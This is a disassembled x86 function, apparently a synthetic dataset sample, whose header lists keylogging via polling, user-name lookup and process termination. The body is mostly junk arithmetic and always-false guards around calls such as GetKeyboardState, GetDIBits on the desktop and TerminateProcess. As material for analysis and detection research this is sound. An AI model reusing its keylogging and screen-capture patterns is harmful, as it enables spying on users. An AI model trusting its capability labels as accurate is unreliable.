Function at 0x10018a55
Capabilities:
Get session user name
Log keystrokes via polling
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov dword [ebp - 0x10], 0xd9ed
push 8
pop eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xc0], edx
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc], 0
jmp 0x10018aa6
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x88], 0xd9e2a8d3
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x10018a95
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x88], 0xfffffff9
jg 0x10018abb
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x88]
add edx, 2
neg edx
push ebx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
push esi
setne cl
xor edx, edx
push edi
xor edi, edi
mov dword [ebp - 0xf0], ecx
inc edi
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], edx
jl 0x10018b45
mov dword [ebp - 0x18], 0x3c5ad058
mov dword [ebp - 0x20], 0xffffffff
cmp dword [ebp - 0x88], edx
jne 0x10018b14
cmp dword [ebp - 0x10], edx
jne 0x10018b10
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0xec]
mov ecx, edx
jmp 0x10018b16
mov ecx, edi
mov eax, dword [ebp - 0x18]
add eax, ecx
xor ecx, ecx
cmp eax, 0xe58e
setne cl
xor eax, eax
cmp ecx, 4
setge al
cmp eax, 0x20225168
je 0x10018b3b
mov eax, edi
cmp dword [ebp - 0x18], edx
jne 0x10018b3d
mov eax, edx
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x10]
jns 0x10018ae9
mov esi, dword [sym.imp.USER32.dll_GetDC]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 5
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0xc], 0xe5ccc90a
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 3
jg 0x10018b93
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x10018b87
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
xor edx, edx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jle 0x10018b70
push 5
pop ecx
mov dword [ebp - 4], edx
jmp 0x10018ba6
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x28], 0x17571177
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x10018b98
mov dword [ebp - 4], edx
jmp 0x10018bc1
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x198], 0x1dbe
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x10018bb0
mov edi, dword [sym.imp.USER32.dll_GetKeyboardState]
mov dword [ebp - 0x28], 0xffffffeb
jmp 0x10018bfd
mov dword [ebp - 0xc], 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], edx
jl 0x10018bfa
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x10018bf2
push edx
call edi
xor edx, edx
dec dword [ebp - 0xc]
jns 0x10018be4
push 5
pop ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
je 0x10018bd5
mov dword [ebp - 0x14], 0xd9ed
push 8
pop eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x10], 0xb02971c1
mov dword [ebp - 4], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x10]
cmp eax, 0xffffffff
setge cl
cmp dword [ebp - 0x10], ecx
jl 0x10018c80
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x10018c67
push 0x1cf6
push edx
push edx
push 0x10d0
push 0x916
push edx
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
xor edx, edx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x10018cdf
push 0x2115
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor edx, edx
jmp 0x10018cdf
mov dword [ebp - 0x18], 0x5cc25bfc
mov dword [ebp - 0xc], edx
jmp 0x10018c9d
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x168], 0x8dee
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x10018c8c
mov dword [ebp - 0x10], 0xfffffff8
jmp 0x10018cd9
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x18]
mov dword [ebp - 4], 2
mov dword [ebp - 4], 1
cmp dword [ebp - 4], edx
jl 0x10018cd6
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x168], edx
jne 0x10018cd6
dec dword [ebp - 4]
jns 0x10018cc5
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe5
jle 0x10018cac
mov dword [ebp - 4], edx
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x1c], 0xfffffffe
push 3
mov dword [ebp - 0xc], 0xb9c5c935
mov dword [ebp - 4], edx
pop ecx
jmp 0x10018d10
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x13c], 0x7571177e
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x10018cff
mov dword [ebp - 4], edx
jmp 0x10018d2b
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x17c], 1
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x10018d1a
mov dword [ebp - 4], 2
cmp dword [ebp - 4], edx
jl 0x10018e28
mov dword [ebp - 0x10], 0xce1e2c0d
mov dword [ebp - 0xc], edx
mov dword [ebp - 0xc], edx
jmp 0x10018d60
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x18c], 8
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x10018d4f
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], edx
jl 0x10018de0
mov dword [ebp - 0x18], 0xf9beab1d
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x1c], 0xba5616d2
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x1c], 0x250042
mov dword [ebp - 0x1c], 0x1eb7e595
cmp dword [ebp - 0x138], edx
je 0x10018dc3
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
je 0x10018dbb
cmp dword [ebp - 0x18], edx
je 0x10018dbb
xor eax, eax
inc eax
jmp 0x10018dbd
mov eax, edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18c], eax
inc dword [ebp - 0x17c]
dec dword [ebp - 0x10]
jns 0x10018d72
mov dword [ebp - 0xc], edx
jmp 0x10018e19
mov dword [ebp - 0x10], edx
jmp 0x10018dfd
cmp byte [ebp - 5], 0
je 0x10018dfa
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
xor edx, edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
mov byte [ebp - 5], dl
jle 0x10018dea
cmp byte [ebp - 5], 0
je 0x10018e16
push edx
push edx
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
xor edx, edx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 1
jle 0x10018de5
dec dword [ebp - 4]
jns 0x10018d40
mov dword [ebp - 0xc], edx
jmp 0x10018e3e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x98], 0xd9e2a8d3
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x10018e2d
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x98], 0xfffffff9
jg 0x10018e53
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x98]
add edx, 2
neg edx
push 5
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
pop eax
setne cl
xor edx, edx
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xc], 0xe5ccc90a
mov dword [ebp - 0xc], edx
jmp 0x10018ea8
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x10018ea5
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
xor edx, edx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jle 0x10018e8e
xor ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], edx
jl 0x10018f19
mov dword [ebp - 0x18], 0x3c5ad058
mov dword [ebp - 0x20], 0xffffffff
cmp dword [ebp - 0x98], edx
jne 0x10018ee2
cmp dword [ebp - 0x14], edx
jne 0x10018ee0
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x104]
mov ecx, edx
mov eax, dword [ebp - 0x18]
add eax, ecx
xor ecx, ecx
cmp eax, 0xe58e
setne cl
xor eax, eax
cmp ecx, 4
setge al
cmp eax, 0x20225168
je 0x10018f0c
cmp dword [ebp - 0x18], edx
je 0x10018f0c
xor ecx, ecx
inc ecx
mov eax, ecx
jmp 0x10018f11
xor ecx, ecx
mov eax, edx
inc ecx
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x14]
jns 0x10018eb9
mov dword [ebp - 0x10], 0x5c8094a1
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 0xfffffff9
mov dword [ebp - 0xc], edx
jmp 0x10018f40
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xe0], 0xf9b3
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x10018f2f
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], edx
jl 0x10018fa3
mov dword [ebp - 4], 0xb0ceafd9
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], edx
jl 0x10018f9e
cmp dword [ebp - 0x10], edx
je 0x10018f6c
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0xe0]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0xe0]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x10018f99
call dword [sym.imp.USER32.dll_CreatePopupMenu]
xor ecx, ecx
xor edx, edx
inc ecx
dec dword [ebp - 4]
jns 0x10018f5d
dec dword [ebp - 0x10]
jns 0x10018f4e
mov dword [ebp - 0x10], 0xd9ed
push 8
pop eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0xc], edx
jmp 0x10018fd8
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x80], 0xd9e2a8d3
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x10018fca
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x80], 0xfffffff9
jg 0x10018fea
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x80]
add edx, 2
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x128], ecx
mov dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], edx
jl 0x1001906d
mov dword [ebp - 0x18], 0x3c5ad058
mov dword [ebp - 0x20], 0xffffffff
cmp dword [ebp - 0x80], edx
jne 0x10019038
cmp dword [ebp - 0x10], edx
jne 0x10019034
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x124]
mov ecx, edx
jmp 0x1001903b
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x18]
add eax, ecx
xor ecx, ecx
cmp eax, 0xe58e
setne cl
xor eax, eax
cmp ecx, 4
setge al
cmp eax, 0x20225168
je 0x10019063
cmp dword [ebp - 0x18], edx
je 0x10019063
xor eax, eax
inc eax
jmp 0x10019065
mov eax, edx
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x10]
jns 0x10019013
mov dword [ebp - 0xc], 6
mov dword [ebp - 0x14], 0xf07c70ab
mov dword [ebp - 0x10], 0xb5411457
mov dword [ebp - 4], 1
mov dword [ebp - 0x18], edx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], dl
je 0x100190a1
push edx
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
mov esi, dword [ebp - 0xc]
imul esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
push 0xfffffffffffffffc
neg esi
neg esi
sbb esi, esi
xor edx, edx
neg esi
cmp ecx, eax
setl dl
mov dword [ebp - 0x14], edx
xor edx, edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setne dl
sub edx, dword [ebp - 0x10]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov dword [ebp - 4], ecx
xor ecx, ecx
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
cmp esi, eax
pop esi
setge cl
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
cmp dword [ebp - 0xc], ecx
je 0x10019176
mov dword [ebp - 0x20], 0x93f0
mov dword [ebp - 0xc], eax
jmp 0x1001911c
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x78], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x10019112
cmp dword [ebp - 0x78], 0
jne 0x1001912b
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 4]
xor edx, edx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
cmp eax, ecx
mov ecx, dword [ebp - 0x10]
setne dl
sub ecx, 0x6add
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp edx, ecx
setl al
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x10019164
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x10], 0x395cc9e5
jmp 0x100191a1
xor ecx, ecx
mov byte [ebp - 5], cl
cmp byte [ebp - 5], al
je 0x1001918c
push ecx
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
xor ecx, ecx
mov byte [ebp - 5], cl
cmp byte [ebp - 5], 0
je 0x100191a3
push ecx
push 0x27d
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
xor ecx, ecx
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0xc], ecx
jmp 0x100191c0
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x1bc], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x100191af
mov byte [ebp - 5], cl
cmp byte [ebp - 5], 0
je 0x100191e6
push 0x17e8
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
xor ecx, ecx
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x20], 0x3638ecf5
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x10], 4
mov dword [ebp - 0x1c], 0x8987f2fb
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x1c], esi
xor esi, esi
mov dword [ebp - 0x1c], ecx
inc esi
mov dword [ebp - 0x1c], 0xa3dbc56e
mov dword [ebp - 0x1c], 0x5251c607
mov dword [ebp - 0x1c], 0xa83d87e3
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0x433a
mov dword [ebp - 4], ecx
jmp 0x1001924d
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x200], 0x313dd33a
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x1001923c
mov dword [ebp - 4], ecx
jmp 0x10019269
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x158], 0x51efdb7b
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x10019258
push 2
mov dword [ebp - 0x10], ecx
pop edx
jmp 0x100192d9
mov dword [ebp - 0x1c], 0xdae8c9f3
mov dword [ebp - 0x1c], 0x735e4b78
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x1c], 0xeeda5852
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x1c], 0xa5dec4f3
mov dword [ebp - 0x1c], 0x6c382506
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x1c], 0xfffffffa
mov dword [ebp - 0xc], ecx
jmp 0x100192ce
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x160], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x100192bd
dec dword [ebp - 0x18]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jle 0x10019276
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], ecx
jmp 0x100192f4
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x60], 0xc6a53d06
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x100192e6
mov dword [ebp - 4], ecx
jmp 0x10019310
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xcc], 0x3629aa81
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x100192ff
mov dword [ebp - 0x14], 0xfe0a8eac
mov dword [ebp - 0xc], ecx
jmp 0x1001932e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xc4], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x10019321
mov dword [ebp - 0x14], 0x15
jmp 0x10019354
mov byte [ebp - 5], cl
cmp byte [ebp - 5], 0
je 0x10019351
push ecx
call ebx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
xor ecx, ecx
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe3
jge 0x1001933c
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, esi
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0xc4]
setne bl
xor ecx, ecx
cmp ebx, eax
mov eax, 0x9753589f
setne cl
cmp eax, ecx
sbb eax, eax
neg eax
neg eax
je 0x100193ce
mov dword [ebp - 0xc], 0
jmp 0x100193c0
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x100], 0x91b4
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x100193af
dec dword [ebp - 0xfc]
jmp 0x100193d4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov byte [ebp - 5], 0
push 0xfffffffffffffff6
mov dword [ebp - 0x14], 0xfffffff8
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 4], 0
jmp 0x100193fc
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x68], 0xffffffff
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x100193ee
mov dword [ebp - 4], 0
jmp 0x10019419
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x34], 0x11d7feae
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x1001940b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
sub ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, esi
sbb edx, edx
xor ecx, ecx
add edx, 0x19f23e53
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
sub edx, 0x716b
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ebx, ebx
cmp edx, eax
setle bl
xor ecx, ecx
mov dword [ebp - 0x64], ebx
mov eax, dword [ebp - 0x14]
cmp ebx, eax
mov eax, dword [ebp - 0x34]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor ebx, ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x14], 0x14
cmp dword [ebp - 0x14], 0xd
je 0x10019557
mov dword [ebp - 0x20], 5
mov dword [ebp - 4], esi
cmp dword [ebp - 4], ebx
jl 0x1001954f
mov dword [ebp - 0xc], 0x5243b9c3
mov dword [ebp - 0x18], esi
mov dword [ebp - 0xc], esi
cmp dword [ebp - 0xc], ebx
jl 0x10019541
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x34]
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x68], ebx
je 0x1001950d
mov eax, dword [ebp - 4]
mov ecx, esi
mov eax, dword [ebp + eax*4 - 0x34]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x34]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
jmp 0x1001950f
mov ecx, ebx
mov eax, dword [ebp - 0x64]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x64]
cmp ecx, eax
mov eax, dword [ebp - 4]
setg dl
mov ecx, dword [ebp + eax*4 - 0x34]
mov eax, dword [ebp - 0x18]
imul ecx, edx
xor edx, edx
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x34], edx
dec dword [ebp - 0xc]
jns 0x100194e5
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x34], ebx
jne 0x1001954f
dec dword [ebp - 4]
jns 0x100194d3
dec dword [ebp - 0x14]
jmp 0x100194ba
cmp byte [ebp - 5], 0
mov esi, dword [sym.imp.USER32.dll_SetPropA]
je 0x1001956e
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
mov dword [ebp - 0x14], 2
xor edx, edx
cmp dword [ebp - 0x14], edx
jl 0x1001969e
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xc], edx
jmp 0x1001959d
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x210], 0x5732aa6
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x1001958c
mov dword [ebp - 0xc8], 0xfffffff7
inc dword [ebp - 4]
mov dword [ebp - 4], edx
jmp 0x1001968b
mov dword [ebp - 0x18], 0x28a0
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x1c], 0x8711
mov dword [ebp - 0x1c], 0xaa8e55a4
inc dword [ebp - 0x10]
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], edx
jl 0x10019688
mov dword [ebp - 0xc], 0x592404e5
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x60], edx
jne 0x10019688
mov dword [ebp - 0x10], edx
jmp 0x10019679
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x60], edx
jne 0x1001967f
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x60]
mov eax, dword [ebp - 0xc8]
cmp ecx, eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, 0x4b83
mov eax, dword [ebp - 4]
setl dl
mov eax, dword [ebp + eax*4 - 0x60]
cmp eax, edx
sete cl
xor edx, edx
imul ecx, ecx, 0x3644
add ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x60]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
inc edx
mov eax, dword [ebp + eax*4 - 0x60]
cmp eax, edx
setl cl
xor edx, edx
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x60]
mov dword [ebp - 0xc8], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jle 0x10019607
dec dword [ebp - 0x18]
jns 0x100195ee
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jle 0x100195b8
dec dword [ebp - 0x14]
jns 0x10019580
xor ebx, ebx
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xc], edx
inc ebx
jmp 0x100196b7
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x24], ebx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x100196ad
mov dword [ebp - 4], edx
jmp 0x100197d6
mov dword [ebp - 0xc], 0x8256a9ef
mov dword [ebp - 0x10], 0x17216709
dec dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x24]
mov eax, dword [ebp - 4]
cmp ecx, dword [ebp + eax*4 - 0x24]
jg 0x10019789
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], 8
mov dword [ebp - 0x10], edx
jmp 0x10019705
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1e4], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100196f8
mov eax, dword [ebp - 0x14]
mov ecx, ebx
sub ecx, eax
sub ecx, 0xeda7
neg ecx
sbb ecx, ecx
inc ecx
cmp dword [ebp - 0x14], ecx
jg 0x10019725
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
cmp eax, 7
setge cl
sub ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setne dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, ebx
mov eax, dword [ebp - 0xc]
setge cl
dec eax
add eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x100197d1
mov dword [ebp - 0x10], edx
jmp 0x100197ae
cmp byte [ebp - 5], 0
je 0x100197ab
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
xor edx, edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x18
mov byte [ebp - 5], dl
jg 0x1001978e
cmp byte [ebp - 5], 0
je 0x100197d3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
xor edx, edx
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jle 0x100196c4
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov eax, 0x703026d8
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0xc
jne 0x1001990c
mov edi, 0xffff
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xc], 0x65969a22
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 4], edx
jmp 0x1001983e
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x194], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x10019831
mov dword [ebp - 4], edx
jmp 0x1001985a
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1c8], 0xffffffff
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x10019849
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
je 0x10019891
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x18], eax
jge 0x10019891
